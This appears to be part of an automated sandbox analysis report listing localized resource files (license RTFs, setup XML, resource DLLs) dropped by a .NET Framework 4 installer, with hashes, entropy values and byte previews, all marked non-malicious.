                  Preview:{\rtf1\fbidis\ansi\ansicpg1256\deff0\deflang1033\deflangfe1033{\fonttbl{\f0\fswiss\fprq2\fcharset178 Tahoma;}{\f1\fswiss\fprq2\fcharset0 Tahoma;}{\f2\froman\fprq2\fcharset0 Times New Roman;}{\f3\froman\fprq2\fcharset178 Times New Roman;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\rtlpar\nowidctlpar\sb120\sa120\qr\lang1025\b\f0\rtlch\fs20\'c7\'e1\'d4\'d1\'e6\'d8 \'c7\'e1\'c5\'d6\'c7\'dd\'ed\'c9 \'e1\'ca\'d1\'ce\'ed\'d5 \'c8\'d1\'e4\'c7\'e3\'cc \lang1033\f1\ltrch MICROSOFT\par..\pard\brdrb\brdrs\brdrw10\brsp20 \rtlpar\nowidctlpar\sb120\sa120\qr MICROSOFT .NET FRAMEWORK 4\lang1025\f0\rtlch \'e1\'e4\'d9\'c7\'e3 \'c7\'e1\'ca\'d4\'db\'ed\'e1 \lang1033\f1\ltrch WINDOWS\lang1025\f0\rtlch \'e3\'e4 \lang1033\f1\ltrch MICROSOFT\par..MICROSOFT .NET FRAMEWORK 4 CLIENT PROFILE\lang1025\f0\rtlch \'e1\'e4\'d9\'c7\'e3 \'c7\'e1\'ca\'d4\'db\'ed\'e1 \lang1033\f1\ltrch WINDOWS\lang1025\f0\rtlch \'e3\'e4 \lang1033\f1\ltrch MICROSOFT\f2\par..\lang3073\f

                  C:\6231e956ee22143d5ce90e\1028\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (457), with CRLF line terminators
                  Category:dropped
                  Size (bytes):60816
                  Entropy (8bit):4.3418522371704045
                  Encrypted:false
                  SSDEEP:384:4wCGbCWB6rFk+2jP8lxtrzh1hsPN7ODPnPgQy50sJCXnofDPiv:tbCWYFrewYTJCf
                  MD5:967A6D769D849C5ED66D6F46B0B9C5A4
                  SHA1:C0FF5F094928B2FA8B61E97639C42782E95CC74F
                  SHA-256:0BC010947BFF6EC1CE9899623CCFDFFD702EEE6D2976F28D9E06CC98A79CF542
                  SHA-512:219B13F1BEEB7D690AF9D9C7D98904494C878FBE9904F8CB7501B9BB4F48762F9D07C3440EFA0546600FF62636AC34CB4B32E270CF90CB47A9E08F9CB473030C
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."..[..z._!q.l(W.v.['`!j._.N.WL..0.Y..s.0}.......S..&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;....b.jHh&.l.t.;./.A.&.g.t.;..0"./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.U.n.i.n.s.t.a.l.l.W.a.r.n.i.n.g.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."..d..[. .M.i.c.r.o.s.o.f.t. ...N.E.T. .F.r.a.m.e.w.o.r.k. ..S...g.\..g.N.a(u.z._\PbkK.

                  C:\6231e956ee22143d5ce90e\1028\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):14168
                  Entropy (8bit):5.9724110685335825
                  Encrypted:false
                  SSDEEP:192:fc2+tUfwZWPl53LmlVlSW1g+/axw0lczWpXEWUQKPnEtObMacxc8hjeyveCXzHbk:hzuwLmlCW1g+/kmzWpXEWULXci2jpv3e
                  MD5:7C136B92983CEC25F85336056E45F3E8
                  SHA1:0BB527E7004601E920E2AAC467518126E5352618
                  SHA-256:F2E8CA58FA8D8E694D04E14404DEC4E8EA5F231D3F2E5C2F915BD7914849EB2B
                  SHA-512:06DA50DDB2C5F83E6E4B4313CBDAE14EED227EEC85F94024A185C2D7F535B6A68E79337557727B2B40A39739C66D526968AAEDBCFEF04DAB09DC0426CFBEFBF4
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........................................................@......E.....@.......................................... ..X............ ..X............................................................................................text...G...........................@..@.rsrc.... ... ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1028\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 950, default language ID 1033
                  Category:dropped
                  Size (bytes):6309
                  Entropy (8bit):4.470827969332999
                  Encrypted:false
                  SSDEEP:96:/R8NRf8TTVKTu4LuTu4LrzZD41raZM4HbegdxqKZJQ1/FSMZJujgzc/MpD1JzIf2:/R4Rfm2NBZMjOfro2n6CA2
                  MD5:6F2F198B6D2F11C0CBCE4541900BF75C
                  SHA1:75EC16813D55AAF41D4D6E3C8D4948E548996D96
                  SHA-256:D7D3CFBE65FE62DFA343827811A8071EC54F68D72695C82BEC9D9037D4B4D27A
                  SHA-512:B1F5B812182C7A8BF1C1A8D0F616B44B0896F2AC455AFEE56C44522B458A8638F5C18200A8FB23B56DC1471E5AB7C66BE1BE9B794E12EC06F44BEEA4D9D03D6F
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg950\deff0\deflang1033\deflangfe1028{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset136 \'b7\'73\'b2\'d3\'a9\'fa\'c5\'e9;}{\f2\froman\fprq2\fcharset0 Times New Roman;}{\f3\fswiss\fprq2\fcharset0 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}{\info{\horzdoc}{\*\lchars (<?[`\'7b\'a2\'47\'a2\'44?\'a1\'a5\'a1\'a7}{\*\fchars !'),.:\'3b>?]|\'7d\'a2\'46\'a1\'50?\'a1\'56\'a1\'58\'a1\'a6\'a1\'a8\'a1\'45\'a1\'4b}}..\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\b\f0\fs28 MICROSOFT \lang1028\f1\'b3\'6e\'c5\'e9\'bc\'57\'b8\'c9\'b1\'c2\'c5\'76\'b1\'f8\'b4\'da\lang1033\f2\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120\f0\fs20 MICROSOFT WINDOWS \lang1028\f1\'a7\'40\'b7\'7e\'a8\'74\'b2\'ce\'aa\'ba\lang1033\f0 MICROSOFT .NET FRAMEWORK 4\f2\par..\f0 MICROSOFT WINDOWS \lang1028\f1\'a7\'40\'b7\'7e\'a8\'74\'b2\'ce\'aa\'ba\lang1033\f0 MICROSOFT .NET FRAMEWORK 4 \lang1028\f1\'a5\'ce\'a4\'e1\'ba\'dd\'b3\'5d\'a9

                  C:\6231e956ee22143d5ce90e\1029\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (660), with CRLF line terminators
                  Category:dropped
                  Size (bytes):80970
                  Entropy (8bit):3.7136351704498183
                  Encrypted:false
                  SSDEEP:384:4w9jRY/svLov/QvQovOLeyndT/jfB7eyNdT9eTiyn15byYOMbqav8qAMrZEXw/Fm:Wt/jPvoZJZ0z
                  MD5:0B6ED582EB557573E959E37EBE2FCA6A
                  SHA1:82C19C7EAFB28593F453341ECA225873FB011D4C
                  SHA-256:8A0DA440261940ED89BAD7CD65BBC941CC56001D9AA94515E346D57B7B0838FC
                  SHA-512:ABA3D19F408BD74F010EC49B31A2658E0884661D2EFDA7D999558C90A4589B500570CC80410BA1C323853CA960E7844845729FFF708E3A52EA25F597FAD90759
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".I.n.s.t.a.l.a...n... .p.r.o.g.r.a.m. .n.e.l.z.e. .s.p.u.s.t.i.t. .v. .r.e.~.i.m.u. .k.o.m.p.a.t.i.b.i.l.i.t.y... .D.a.l.a... .i.n.f.o.r.m.a.c.e. .n.a.l.e.z.n.e.t.e. .v. .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.s.o.u.b.o.r.u. .R.e.a.d.m.e.&.l.t.;./.A.&.g.t.;..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.U.n.i.n.s.t.a.l.l.

                  C:\6231e956ee22143d5ce90e\1029\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):18264
                  Entropy (8bit):5.308536555634371
                  Encrypted:false
                  SSDEEP:384:sIr67PAteQx2PoipahxPh1KuMWp1eWCLXci2jpvsH:sv6CMi2jpvsH
                  MD5:62876C2FE28B1B5C434B9FAD80ABE9F9
                  SHA1:BE3D479204B8E36933E0EECC250C330E69A06D02
                  SHA-256:36E316718C8BBBD7B511E9074FC0EECB9ACD0A9B572F593A5A569CC93276D932
                  SHA-512:FFDD2D8DB4AE62EA07178677D8C8745CF54D7EDBE1683478A2C588D5B84EF9EA970E2B1C44E3B8F18B33D189655B0C42D5747392DB97176A38FAB4CBAB3E3F10
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........,...............................................P......V.....@.......................................... ..d(...........0..X............................................................................................text...G...........................@..@.rsrc....0... ...*..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1029\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1250, default language ID 1029
                  Category:dropped
                  Size (bytes):3726
                  Entropy (8bit):5.271587861695615
                  Encrypted:false
                  SSDEEP:96:4BfgejTQpTfD/g7OyGBB2nZsEAVxfw8EMpDRI/YFkvvApzdYPBGx2:sfN7OHn2nZsEmf+Oa/c2
                  MD5:B02C48825414EDCA106C92182D32BC8A
                  SHA1:CF00219D69E3CFF9777BABECE1EE9D8CDC776AC9
                  SHA-256:C6147000FC34894C724C09CB69FFCE75DD1263B69D063F75466D70B67B3C80DD
                  SHA-512:B8AFE051701189F60789D0340FD15E81491456284305B55C4582D0153A2C8CB25F1EDD05F40B50893C7CBB80EC57FF635D764DB5F56AA2E945CF29E9C550E9BA
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1250\deff0\deflang1029\deflangfe1029{\fonttbl{\f0\fswiss\fprq2\fcharset238 Tahoma;}{\f1\froman\fprq2\fcharset238{\*\fname Times New Roman;}Times New Roman CE;}{\f2\fswiss\fprq2\fcharset238 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\b\f0\fs20 DODATKOV\'c9 LICEN\'c8N\'cd PODM\'cdNKY PRO SOFTWARE SPOLE\'c8NOSTI MICROSOFT\lang1033\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120\lang1029\f0 MICROSOFT .NET FRAMEWORK 4 PRO OPERA\'c8N\'cd SYST\'c9M MICROSOFT WINDOWS\lang1033\f1\par..\lang1029\f0 MICROSOFT .NET FRAMEWORK 4 CLIENT PROFILE PRO OPERA\'c8N\'cd SYST\'c9M MICROSOFT WINDOWS\par..\pard\brdrb\brdrs\brdrw10\brsp20 A P\'d8IDRU\'8eEN\'c9 JAZYKOV\'c9 SADY\par..\pard\nowidctlpar\sb120\sa120\b0 Licenci k\~tomuto dodatku v\'e1m poskytuje spole\'e8nost Microsoft Corporation (nebo n\'eckter\'e1 z\~jej\'edch afilac\'ed v\~z\'e1vislosti na tom, kde bydl\'edte).\lang1033\b

                  C:\6231e956ee22143d5ce90e\1030\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (700), with CRLF line terminators
                  Category:dropped
                  Size (bytes):77748
                  Entropy (8bit):3.5770566057374418
                  Encrypted:false
                  SSDEEP:384:4wvo3sGYQTjtLCpCggWuUyl+JMcf/zmSmRLAgRQJmS+e/JAu1O2Xx+v:9o8GYQTjtLCYggWuUMe+e/J8
                  MD5:69925E463A6FEDCE8C8E1B68404502FB
                  SHA1:76341E490A432A636ED721F0C964FD9026773DD7
                  SHA-256:5F370D2CCDD5FA316BCE095BF22670123C09DE175B7801D0A77CDB68174AC6B7
                  SHA-512:5F61ABEC49E1F9CC44C26B83AA5B32C217EBEBA63ED90D25836F51F810C59F71EC7430DC5338EFBA9BE720F800204891E5AB9A5F5EC1FF51EF46C629482E5220
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".I.n.s.t.a.l.l.a.t.i.o.n.s.p.r.o.g.r.a.m.m.e.t. .k.a.n. .i.k.k.e. .k...r.e. .i. .k.o.m.p.a.t.i.b.i.l.i.t.e.t.s.t.i.l.s.t.a.n.d... .D.u. .k.a.n. .f.i.n.d.e. .f.l.e.r.e. .o.p.l.y.s.n.i.n.g.e.r. .i. .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.V.i.g.t.i.g.t.-.f.i.l.e.n.&.l.t.;./.A.&.g.t.;..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.

                  C:\6231e956ee22143d5ce90e\1030\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):18264
                  Entropy (8bit):5.237828095883879
                  Encrypted:false
                  SSDEEP:384:cNX61hALPTIOWWptfeWuLXci2jXHUgyh1J:cQweMi2jXHUgU1J
                  MD5:9F0CD8981979154CC2A6393DA42731C5
                  SHA1:AFFAFE8CF152C25DF75CF3E6B67B7AA8A4A80056
                  SHA-256:30C86AE90DE0EE7D2A637AB7EF7AE450690A55A5EA8C007169BAB57B10F0E013
                  SHA-512:036253A9B4718EC38C7784ABA6AA124E4A334170AD13546126B0D746F003A4FC571165DBDA3BC3DD1911C343326CAE22C0A3C0A82A17D7F5943D2F2057E3C060
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........,...............................................P......9a....@.......................................... ..$(...........0..X............................................................................................text...G...........................@..@.rsrc....0... ...*..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1030\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):3314
                  Entropy (8bit):5.229229499381171
                  Encrypted:false
                  SSDEEP:96:MTBfIGPzxT1B9TwDXOC1uJzGTcDC5bhPqljShnEGiBe4YOMpDIbu0L9D+Ogp+Ogj:If/Jqn1uJzGTcDC5bhSljShnEGioDOOa
                  MD5:B756C9B475E1E5955D8BF1544DF556F7
                  SHA1:03ACD306196D5C0CDFBEB947CE3E018C08FD08CB
                  SHA-256:204021CC428C70F76DE750C0B01404E3396EE8602C8F25F44635F6F2BDBF693A
                  SHA-512:88E44178770025B960BF2329901B6BEC90115B62D9F44A43FD914AEF687C2FCE7E370D9BA8CAAF9BF930553EB99580C47F8E7FDC0C32FE9A921DD368BF8E4658
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe1033{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset0 Times New Roman;}{\f2\fswiss\fprq2\fcharset0 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1030\b\f0\fs28 TILL\'c6G TIL LICENSVILK\'c5R FOR MICROSOFT-SOFTWARE\lang1033\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120\lang1030\f0\fs22 MICROSOFT .NET FRAMEWORK 4 TIL MICROSOFT WINDOWS-OPERATIVSYSTEM\lang1033\par..\lang1030 MICROSOFT .NET FRAMEWORK 4-KLIENTPROFIL TIL MICROSOFT WINDOWS-OPERATIVSYSTEM\par..OG TILKNYTTEDE SPROGPAKKER\lang1033\f1\fs20\par..\pard\nowidctlpar\sb120\sa120\lang1030\b0\f0 Microsoft Corporation (eller, afh\'e6ngigt af hvor De bor, et af dets associerede selskaber) licenserer dette till\'e6g til Dem.\lang1033\b \lang1030\b0 Hvis De har licens til at bruge Microsoft Windows-operativsystemsoftware (som dette till\'e6g g\'e6lder for) ("

                  C:\6231e956ee22143d5ce90e\1031\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (682), with CRLF line terminators
                  Category:dropped
                  Size (bytes):82346
                  Entropy (8bit):3.5798945100215325
                  Encrypted:false
                  SSDEEP:1536:guayUbZwf+2CzQHsjz1VbxzPGnz6solo8xKc6JT/1Sy:JayUtwf+2CzQHshPGnz6solo8xKc6JTd
                  MD5:8505219C0A8D950FF07DC699D8208309
                  SHA1:7A557356C57F1FA6D689EA4C411E727438AC46DF
                  SHA-256:C48986CDB7FE3401234E0A6540EB394C1201846B5BEB1F12F83DC6E14674873A
                  SHA-512:7BCDAD0CB4B478068434F4EBD554474B69562DC83DF9A423B54C1701CA3B43C3B92DE09EE195A86C0D244AA5EF96C77B1A08E73F1F2918C8AC7019F8DF27B419
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".D.a.s. .S.e.t.u.p. .k.a.n.n. .n.i.c.h.t. .i.m. .K.o.m.p.a.t.i.b.i.l.i.t...t.s.m.o.d.u.s. .a.u.s.g.e.f...h.r.t. .w.e.r.d.e.n... .W.e.i.t.e.r.e. .I.n.f.o.r.m.a.t.i.o.n.e.n. .f.i.n.d.e.n. .S.i.e. .i.n. .d.e.r. .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.I.n.f.o.d.a.t.e.i.&.l.t.;./.A.&.g.t.;..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.

                  C:\6231e956ee22143d5ce90e\1031\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):18776
                  Entropy (8bit):5.135663555520085
                  Encrypted:false
                  SSDEEP:384:lQ16m3rhGrcHN/USYvYVA9WKieW8bLXci2jXHU2Ze:lEhCSVYvYVAA+Mi2jXHU2A
                  MD5:7C9AE49B3A400C728A55DD1CACC8FFB2
                  SHA1:DD3A370F541010AD650F4F6AA42E0CFC68A00E66
                  SHA-256:402C796FEBCD78ACE8F1C5975E39193CFF77F891CFF4D32F463F9A9C83806D4A
                  SHA-512:D30FE9F78A49C533BE5C00D88B8C2E66A8DFAC6D1EAE94A230CD937F0893F6D4A0EECE59C1D2C3C8126FFA9A9648EC55A94E248CD8C7F9677F45C231F84F221B
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........................................................P.......D....@.......................................... ..`+...........2..X............................................................................................text...G...........................@..@.rsrc....0... ...,..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1031\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):3419
                  Entropy (8bit):5.19064562442276
                  Encrypted:false
                  SSDEEP:96:MWBfVBITvyTqDyiRc3E5Zob0MpDmqgH4KYXsY/49Uo2:VffWX5Zm0O3Q32
                  MD5:94190970FB79C7085DE2E97AE4630B07
                  SHA1:272677F49985098CA0477D6A8C1E70E4BDDB646C
                  SHA-256:A448FE5954EC68B7C395DA387545C1664C3F4BAADE021E6157EC142997D93CA2
                  SHA-512:7A7EE485D20912FC533E83EAE0F151DC142C2F01051735D1F9B20A7146154A04C8269FC9F71AC82E57925B566E07E716CDED6DB8B11026225CEAAC209311531F
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe1041{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset0 Times New Roman;}{\f2\fswiss\fprq2\fcharset0 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang1031\b\f0\fs20 ERG\'c4NZENDE LIZENZBESTIMMUNGEN F\'dcR MICROSOFT-SOFTWARE\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120\f0 MICROSOFT .NET FRAMEWORK 4 F\'dcR MICROSOFT WINDOWS-BETRIEBSSYSTEM\f1\par..\f0 MICROSOFT .NET FRAMEWORK 4 CLIENT PROFILE F\'dcR MICROSOFT WINDOWS-BETRIEBSSYSTEM\par..UND ZUGEH\'d6RIGE LANGUAGE PACKS\f1\par..\pard\nowidctlpar\sb120\sa120\b0\f0 Microsoft Corporation (oder eine andere Microsoft-Konzerngesellschaft, wenn diese an dem Ort, an dem Sie leben, die Software lizenziert) lizenziert diese Softwareerg\'e4nzung an Sie. Wenn Sie \'fcber eine Lizenz f\'fcr Microsoft Windows-Betriebssystem-Software verf\'fcgen (f\'fcr die diese Softwareerg\

                  C:\6231e956ee22143d5ce90e\1032\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (708), with CRLF line terminators
                  Category:dropped
                  Size (bytes):86284
                  Entropy (8bit):4.3740758325121645
                  Encrypted:false
                  SSDEEP:384:4w+7UVysuXHXeXAehlT++sTGoheXrW4MgcyvF773/xSFVQbleaS8tOnjiJLtchH0:+3OQeHll5PunjiJr
                  MD5:3BF8DA35B14FBCC564E03F6342BB71F2
                  SHA1:8F9139F0BB813BF95F8C437548738D32848D8940
                  SHA-256:39EFE12C689EDFEA041613B0E4D6EC78AFEC8FE38A0E4ADC656591FFEF8F415D
                  SHA-512:31B050647BA4BD0C2762D77307E1ED2A324E9B152C06ED496B86EA063CDC18BF2BB1F08D2E9B4AF3429A2BC333D7891338D7535487C83495304A5F78776DBC03
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."....... ........... ............. ... ................. ....... ......................... ..... ................... ....................... ........................... ....... ......................... .......................,. ................... ....... .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;............. .r.e.a.d.m.e.&.l.t.;./.A.&.g.t.;..."./.

                  C:\6231e956ee22143d5ce90e\1032\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
